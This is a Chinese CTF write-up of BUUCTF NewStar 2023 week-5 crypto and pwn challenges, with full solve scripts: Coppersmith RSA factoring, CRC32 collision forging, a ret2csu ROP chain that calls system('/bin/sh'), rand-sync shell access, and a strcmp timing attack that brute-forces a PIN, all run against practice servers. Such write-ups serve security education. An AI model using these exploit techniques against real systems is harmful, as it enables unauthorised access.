• [BUUCTF NewStar 2023] week5 Crypto/pwn

    最后一周几个有难度的题

    Crypto

    last_signin

    也是个板子题，不过有些人存的板子没到，所以感觉有难度，毕竟这板子也不是咱自己能写出来的。

    给了部分p, p是1024位给了922-101位差两头。

    1. from Crypto.Util.number import *
    2. flag = b'?'
    3.  
    4. e = 65537
    5. p, q = getPrime(1024), getPrime(1024)
    6. N = p * q
    7. gift = p&(2**923-2**101)
    8. m = bytes_to_long(flag)
    9. c = pow(m, e, N)
    10.  
    11. print("N = ",N)
    12. print("gift = ",gift)
    13. print("c = ",c)
    14.  
    15.  
    16. N =  12055968471523053394851394038007091122809367392467691213651520944038861796011063965460456285088011754895260428814358599592032865236006733879843493164411907032292051539754520574395252298997379020268868972160297893871261713263196092380416876697472160104980015554834798949155917292189278888914003846758687215559958506116359394743135211950575060201887025032694825084104792059271584351889134811543088404952977137809673880602946974798597506721906751835019855063462460686036567578835477249909061675845157443679947730585880392110482301750827802213877643649659069945187353987713717145709188790427572582689339643628659515017749
    17. p0 =  70561167908564543355630347620333350122607189772353278860674786406663564556557177660954135010748189302104288155939269204559421198595262277064601483770331017282701354382190472661583444774920297367889959312517009682740631673940840597651219956142053575328811350770919852725338374144
    18. c =  2475592349689790551418951263467994503430959303317734266333382586608208775837696436139830443942890900333873206031844146782184712381952753718848109663188245101226538043101790881285270927795075893680615586053680077455901334861085349972222680322067952811365366282026756737185263105621695146050695385626656638309577087933457566501579308954739543321367741463532413790712419879733217017821099916866490928476372772542254929459218259301608413811969763001504245717637231198848196348656878611788843380115493744125520080930068318479606464623896240289381601711908759450672519228864487153103141218567551083147171385920693325876018

    直接用双值copper这个双值和多值还是有些区别的，应该是作了些优化。

    1. def bivariate(pol, XX, YY, kk=4):
    2.     N = pol.parent().characteristic()
    3.  
    4.     f = pol.change_ring(ZZ)
    5.     PR, (x, y) = f.parent().objgens()
    6.  
    7.     idx = [(k - i, i) for k in range(kk + 1) for i in range(k + 1)]
    8.     monomials = list(map(lambda t: PR(x ** t[0] * y ** t[1]), idx))
    9.     # collect the shift-polynomials
    10.     g = []
    11.     for h, i in idx:
    12.         if h == 0:
    13.             g.append(y ** h * x ** i * N)
    14.         else:
    15.             g.append(y ** (h - 1) * x ** i * f)
    16.  
    17.     # construct lattice basis
    18.     M = Matrix(ZZ, len(g))
    19.     for row in range(M.nrows()):
    20.         for col in range(M.ncols()):
    21.             h, i = idx[col]
    22.             M[row, col] = g[row][h, i] * XX ** h * YY ** i
    23.  
    24.     # LLL
    25.     B = M.LLL()
    26.  
    27.     PX = PolynomialRing(ZZ, 'xs')
    28.     xs = PX.gen()
    29.     PY = PolynomialRing(ZZ, 'ys')
    30.     ys = PY.gen()
    31.  
    32.     # Transform LLL-reduced vectors to polynomials
    33.     H = [(i, PR(0)) for i in range(B.nrows())]
    34.     H = dict(H)
    35.     for i in range(B.nrows()):
    36.         for j in range(B.ncols()):
    37.             H[i] += PR((monomials[j] * B[i, j]) / monomials[j](XX, YY))
    38.  
    39.     # Find the root
    40.     poly1 = H[0].resultant(H[1], y).subs(x=xs)
    41.     poly2 = H[0].resultant(H[2], y).subs(x=xs)
    42.     poly = gcd(poly1, poly2)
    43.     x_root = poly.roots()[0][0]
    44.  
    45.     poly1 = H[0].resultant(H[1], x).subs(y=ys)
    46.     poly2 = H[0].resultant(H[2], x).subs(y=ys)
    47.     poly = gcd(poly1, poly2)
    48.     y_root = poly.roots()[0][0]
    49.  
    50.     return x_root, y_root
    51.  
    52. R.=Zmod(N)[]
    53. f = x*2^922 + p0 + y
    54. x,y = bivariate(f,2^102,2^101)
    55. p = int(f(x,y))
    56. q = N//p
    57.  
    58. bytes.fromhex(hex(pow(c, inverse_mod(65537,(p-1)*(q-1)),N))[2:])
    59. #flag{although_11ts_norma11_tis_still_stay_dsadsa}

    School of CRC32

    这个题有9个人完成，我估计有一半以上是非预期的。

    题目很短，随机取个值得到crc32然后要求给出20位的串，要求crc32值相等。

    1. import secrets
    2. from secret import flag
    3. import zlib
    4.  
    5. ROUND = 100
    6.  
    7. LENGTH = 20
    8.  
    9. print('Extreme hard CRC32 challenge')
    10. print('ARE YOU READY')
    11.  
    12. for i in range(ROUND):
    13.     print('ROUND', i, '!'*int(i/75 + 1))
    14.  
    15.     target = secrets.randbits(32)
    16.  
    17.     print('Here is my CRC32 value: ', hex(target))
    18.  
    19.     dat = input('Show me some data > ')
    20.     raw = bytes.fromhex(dat)
    21.     
    22.     if zlib.crc32(raw) == target and len(raw) == LENGTH:
    23.         print("GREAT")
    24.     else:
    25.         print("OH NO")
    26.         exit()
    27.  
    28. print("Congratulation! Here is your flag")
    29. print(flag)

    作misc题经常用到爆破crc32这东西并不难，难点在于这东西要100次，因为最快的hashcat 也要半小时以上，我的机子很慢，爆破1个要5分钟以上，所以这条路不通了。

    搜crc32的算法，有移位、多项式和类LCG。发现这个LCG方法应该可以逆向（很少见到逆向python库函数的题，这题也算是非常新颖了）。

    crc32的生成方法是用尾字节与字符异或查crc32_table然后与原crc的前3字节异或，逐个字符这样加密下去。

    1. def crc32(binaries):
    2.     crc = 0xFFFFFFFF
    3.     index = 0
    4.     while index < len(binaries):
    5.         crc = crc32_table[(crc & 0xFF) ^ binaries[index]] ^ (crc//256)
    6.         index = index + 1
    7.     return crc ^ 0xFFFFFFFF

    所以爆破方法是中间相遇攻击。先正向生成16个0和2个字符的字典，然后逆向将给写的crc32值向前推这个规模是256*256也不算大，当查到字典里有时就得到了值。这样1秒就能完成一两轮。

    1. from pwn import *
    2. import os 
    3. from zlib import crc32 
    4.  
    5. crc32_table =[
    6. 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA,
    7. 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3,
    8. 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988,
    9. 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91,
    10. 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE,
    11. 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7,
    12. 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC,
    13. 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5,
    14. 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172,
    15. 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,
    16. 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940,
    17. 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59,
    18. 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116,
    19. 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F,
    20. 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
    21. 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D,
    22. 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A,
    23. 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
    24. 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818,
    25. 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,
    26. 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E,
    27. 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457,
    28. 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C,
    29. 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65,
    30. 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2,
    31. 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB,
    32. 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0,
    33. 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9,
    34. 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086,
    35. 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
    36. 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4,
    37. 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD,
    38. 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A,
    39. 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683,
    40. 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8,
    41. 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
    42. 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE,
    43. 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7,
    44. 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC,
    45. 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,
    46. 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252,
    47. 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
    48. 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60,
    49. 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79,
    50. 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
    51. 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F,
    52. 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04,
    53. 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D,
    54. 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A,
    55. 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,
    56. 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38,
    57. 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21,
    58. 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E,
    59. 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
    60. 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C,
    61. 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45,
    62. 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2,
    63. 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB,
    64. 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0,
    65. 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
    66. 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6,
    67. 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF,
    68. 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94,
    69. 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D]
    70.  
    71.  
    72. #向前爆破两字节
    73. def get_rcrc1(cin):  #cin是经过去0xFFFFFFF的
    74.     res = {}
    75.     for crc_tail in range(256): #last 8 bit 
    76.         for i,v in enumerate(crc32_table):
    77.             h = cin^v
    78.             if h>= 0x1000000: continue 
    79.             h <<=8  #高24位
    80.             j = crc_tail^i #对应的字符
    81.             #print(chr(j))
    82.             res[h+crc_tail] = bytes([j])
    83.     return res 
    84.  
    85. #向后爆破两字节存字典
    86. res_f = {}
    87. for i in range(256):
    88.   for j in range(256):
    89.       res_f[crc32(b'0'*16+bytes([i,j]))^0xffffffff] = bytes([i,j])
    90.  
    91. def get_rcrc2(cin):
    92.     cin = cin^0xffffffff
    93.     res = get_rcrc1(cin) #向前1字节
    94.     for k in res:
    95.         res2 = get_rcrc1(k)
    96.         for v in res2:
    97.             if v in res_f:
    98.                 #found 
    99.                 ret = res_f[v]+res2[v]+res[k]
    100.                 return ret                 
    101.  
    102. #a = get_rcrc2(3984772369)
    103. #print(b'0'*16+a)
    104.  
    105. p = remote('node4.buuoj.cn', 28267)
    106. context.log_level = 'debug'
    107.  
    108. for i in range(100):
    109.     p.recvuntil(b'Here is my CRC32 value: ')
    110.     hash = int(p.recvline(),16)
    111.     a = get_rcrc2(hash)
    112.     p.sendlineafter(b'Show me some data > ', (b'0'*16+a).hex().encode())
    113.     print('recv:', p.recvline())
    114.  
    115. print('recv:', p.recvline())
    116. print('recv:', p.recvline())
    117.  
    118. p.interactive()

    PseudoHell

    一个easy,一个hard这两个是一个题，前一段时间打一个国外比赛正好就是这道题。关完全相同。5关设置的次数有变化，原来0x100多，现在改成46。原文见前几天的一篇 CSDNicon-default.png?t=N7T8https://mp.csdn.net/mp_blog/creation/editor/133161392

    原来第5关的打法是作256次把每个结果异或到一起，因为对于256的空间不相同肯定是0-255，所以异或到一起一定是0，而算法2给出的会有重值，也就得不到0。由于这里次数改少了，所以作法也作一丁点改变，就是看结果里有没有重值，有重值就是算法2。不过由于次数少，会有不成功的情况发生。50%还是有保证的。

    1. from pwn import *
    2.  
    3. p = remote('node4.buuoj.cn', 25480)
    4. #context.log_level = 'debug'
    5.  
    6. def p_query(msg, reverse=b'n'):
    7.     p.sendlineafter(b"? > ", msg)
    8.     p.sendlineafter(b"inverse? > ", reverse)
    9.     return p.recvline().strip()
    10.  
    11. #1 使用1次
    12. p.sendlineafter(b"How many times are required to roll for solving 1? > ", b'1')
    13. for _ in range(33):
    14.     res = p_query(b'0'*32, b'n')
    15.     if b'0'*16 == res[:16]:
    16.         p.sendlineafter(b"coin? > ", b'0')
    17.     else:
    18.         p.sendlineafter(b"coin? > ", b'1')
    19.  
    20. #2
    21. p.sendlineafter(b"? > ", b'2')
    22. for _ in range(33):
    23.     res1 = p_query(b'0'*32, b'n')
    24.     res2 = p_query(b'1'+b'0'*31, b'n')
    25.  
    26.     if res1[2:16] == res2[2:16]:
    27.         p.sendlineafter(b"coin? > ", b'0')
    28.     else:
    29.         p.sendlineafter(b"coin? > ", b'1')
    30.  
    31. print(p.recvline())
    32. #(Only for a junior division) Good job! flag_baby = WACON2023{8c3deab3b7a89f9bc7941a201}
    33.  
    34. #3
    35. p.sendlineafter(b"? > ", b'2')
    36. for _ in range(33):
    37.     res1 = p_query(b'0'*32, b'n')
    38.     res2 = p_query(b'0'*32, b'y')
    39.     if res1[16:32] == res2[:16]:
    40.         p.sendlineafter(b"coin? > ", b'0')
    41.     else:
    42.         p.sendlineafter(b"coin? > ", b'1')
    43.  
    44.  
    45. print(p.recvline())
    46. #Good job! flag_easy = WACon2023{930db8b4dedb8cb86f309521011a1039}
    47.  
    48.  
    49. #4
    50. p.sendlineafter(b"? > ", b'2')
    51. for _ in range(33):
    52.     res1 = p_query(b'0'*32, b'n')
    53.     res1 = p_query(res1+b'0'*16, b'y')
    54.     
    55.     if res1 == b'0'*16:
    56.         p.sendlineafter(b"coin? > ", b'0')
    57.     else:
    58.         p.sendlineafter(b"coin? > ", b'1')
    59.  
    60. context.log_level = 'debug'
    61.  
    62. #5
    63. p.sendlineafter(b"? > ", b'48')
    64. for _ in range(33):
    65.     v = set()
    66.     for i in range(48):
    67.         t = bytes.fromhex(p_query(bytes([i]).hex().encode(),b'n').decode())[0]
    68.         v.add(t)
    69.     if len(v) == 48:
    70.         p.sendlineafter(b"coin? > ", b'0')
    71.     else:
    72.         p.sendlineafter(b"coin? > ", b'1')
    73.  
    74. print(p.recvline())
    75. #(Only for general/global divisions) Good job! flag_hard = WACon2023{c7a47ff1646698d275602dce1355645684f743f1}
    76. p.interactive()

    PWN

    planet

    1. __int64 __fastcall main(int a1, char **a2, char **a3)
    2. {
    3.   unsigned int v4; // eax
    4.   char s1[88]; // [rsp+20h] [rbp-60h] BYREF
    5.   unsigned __int64 v6; // [rsp+78h] [rbp-8h]
    6.  
    7.   v6 = __readfsqword(0x28u);
    8.   alarm(0x78u);
    9.   printf("Passwd: ");
    10.   fflush(stdout);
    11.   gets((__int64)s1);
    12.   if ( !strcmp(s1, "secret_passwd_anti_bad_guys") )
    13.   {
    14.     v4 = time(0LL);
    15.     srand(v4);
    16.     vuln1();
    17.     vuln2();
    18.   }
    19.   return 0LL;
    20. }

    第1步要输入口令，但已经给了，第2步要rand值，这个可以直接用cyptes调用time(0)同步得到，然后就给shell了。不像第5周的水平

    1. from pwn import *
    2. from ctypes import *
    3.  
    4. clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
    5. #windows msvcrt.dll
    6.  
    7. context.log_level = 'debug'
    8.  
    9. #p = process('./planet')
    10. p = remote('node4.buuoj.cn', 28146)
    11. #gdb.attach(p, "b*0x555555555832\nc")
    12. p.sendlineafter(b"Passwd: ", "secret_passwd_anti_bad_guys\x00")
    13.  
    14. clibc.srand(clibc.time(0))
    15. for i in range(11):
    16.     print(bytes([clibc.rand()%26 +97 for _ in range(5)]))
    17. password = bytes([clibc.rand()%26 +97 for _ in range(30)])
    18.  
    19. p.sendlineafter(b"What is your next move? (Help)\n>", b'Admin\x00')
    20. p.sendlineafter(b"Insert the secret passwd\n> ", password+b'\x00')
    21. p.sendlineafter(b"The command to exec\n> ", b'/bin/sh\x00')
    22.  
    23. p.interactive()

    no_ouput

    这个好像也是原题，连名字都像，不过还是有点差别，模板里的地址还是不一样的。

    调用一个read以后就结束了。给了a一个read地址，意思是让修改这个位置。原来模板没给，直接改的stdout，这里给了a似乎是为了减小难度。

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3.   char buf[112]; // [rsp+0h] [rbp-70h] BYREF
    4.  
    5.   init();
    6.   read(0, buf, 0x200uLL);
    7.   a = (__int64)&read;
    8.   return 0;
    9. }

    高版本要调用这个错位形成的gadget ,通过ppp5+mov call+add 实现修改一个地址值的目的。

    这里可以把a或者stdout的值（存的都是libc地址）修改为system

    1. from pwn import *
    2.  
    3. elf = ELF('./no_ouput')
    4. libc = ELF('./libc-2.31.so')
    5.  
    6. context(arch='amd64', log_level='debug')
    7.  
    8. ret = 0x00401254
    9. add_dword_rbp_0x3d_ebx_ret = 0x0040112c  # 0: 01 5d c3  add    DWORD PTR [rbp-0x3d], ebx
    10.  
    11. pop_rbx_rbp_r12_r13_r14_r15_ret = 0x0040124a  #__libc_csu_init
    12. mov_call = 0x00401227
    13.  
    14. bss = elf.bss(0)  #stdout 给了a是read的地址,但是按模板直接打stdout也没问题
    15. buf = elf.bss(0x40)
    16.  
    17. def ret2csu(rdi=0, rsi=0, rdx=0, rbp=0xdeadbeef, addr=bss):
    18.     return flat([
    19.         pop_rbx_rbp_r12_r13_r14_r15_ret,
    20.         0, 1, rdi, rsi, rdx, addr, mov_call,
    21.         0, 0, rbp, 0, 0, 0, 0,
    22.     ])
    23.  
    24. def add(off, addr=bss):
    25.     return flat([
    26.         pop_rbx_rbp_r12_r13_r14_r15_ret,
    27.         off, addr + 0x3d, 0, 0, 0, 0,
    28.         add_dword_rbp_0x3d_ebx_ret,
    29.     ])
    30.  
    31. payload = b'a' * 0x78 + flat([
    32.     ret,
    33.     add(0x6e69622f, buf),                                         #0x404080 /bin/sh\0
    34.     add(0x0068732f, buf + 4),
    35.     add(libc.sym['system'] - libc.sym['_IO_2_1_stdout_'], bss),   #0x404040 修改stdout为system
    36.     ret2csu(rdi=buf, addr=bss)
    37. ])
    38.  
    39.  
    40. #p = process('./no_ouput')
    41. p = remote('node4.buuoj.cn', 25279)
    42. #gdb.attach(p, "b*0x4011a7\nc")
    43.  
    44. p.send(payload)
    45.  
    46. p.sendline(b'cat /flag')
    47.  
    48. p.interactive()

     login

    侧信道攻击，一直没用过，用的都是自己写shellcode的情况，当成功时进行死循环，不成功时退出，这样来判断字符是否正确。

    这里有两个菜单一个是改密码要求输入6个数字的pin，另外一个是输入密码登录。显然这里是猜不出密码的，需要从6个数字爆破。

    strcmp在比较字符里如果第1个不正确就直接返回，如果正确就比较下一个，所以这里会有个时间差，也就是总用时会有些区别，当运行10次或更多时就会看到不同的数字哪个正确。

    一直试着不成功，最后在夜深人静的时候终于试成了。这题不好，因为网络因素会有非常大的影响导致不成功。毕竟那点时间差太小了。

    1. from pwn import *
    2. import time 
    3.  
    4. context.log_level = 'error'
    5.  
    6. p = remote('node4.buuoj.cn', 25937)
    7.  
    8. #
    9. def get_bin(head):
    10.   mx = 0 
    11.   mv = ''
    12.   for i in '0123456789':
    13.     password = (head+i).ljust(6)
    14.     totaltime = 0.0
    15.     for _ in range(10):
    16.         p.sendlineafter(b'>', b'3')
    17.         p.recvuntil(b'Input code:')
    18.         totaltime -= time.time()
    19.         p.sendline(password.encode())
    20.         v = p.recv(5)
    21.         totaltime += time.time()
    22.         if b'Wrong' not in v:
    23.             print(password)
    24.             p.sendline(b'123456')
    25.             p.sendline(b'2')
    26.             p.sendline(b'123456')
    27.             p.sendline(b'cat flag')
    28.             p.interactive()
    29.             break
    30.     #print(' ',i,totaltime)
    31.     if totaltime> mx:
    32.         mx = totaltime 
    33.         mv = i 
    34.         #print(mv,mx)
    35.   return mv
    36.  
    37. head = ''
    38. for i in range(6):
    39.     head += get_bin(head)
    40.     print(head)
    41.  
    42.  
    43. '''
    44. ┌──(kali㉿kali)-[~/ctf/1028]
    45. └─$ py login2.py
    46. 5
    47. 55
    48. 552
    49. 5520
    50. 55208
    51. 552086
    52.  new password:Welcome to very-safe system
    53. 1.Register
    54. 2.Login
    55. 3.Forget password
    56. >Detected system has only one user:admin. Logged as 'admin'
    57. Input password:Log in successful!!!flag{9d85e15c-7268-4710-9e39-bcc21a6ac151}
    58. $  
    59. '''

  • 相关阅读:
    防火墙 (五十四)
    Typescript中的浅拷贝和深拷贝
    android12.0(S) 如何区分U盘和TF卡
    Bitbucket 使用 SSH 拉取仓库失败的问题
    设计模式之创建型模式：单例模式
    ​L：最大公约数
    JavaScript如何打开和使用JavaScript控制台
    浅谈WPF之控件模板和数据模板
    【办公自动化】用Python将PDF文件转存为图片（文末送书）
    构建灵活、高效的HTTP/1.1应用：探索h11库
  • 原文地址：https://blog.csdn.net/weixin_52640415/article/details/134234396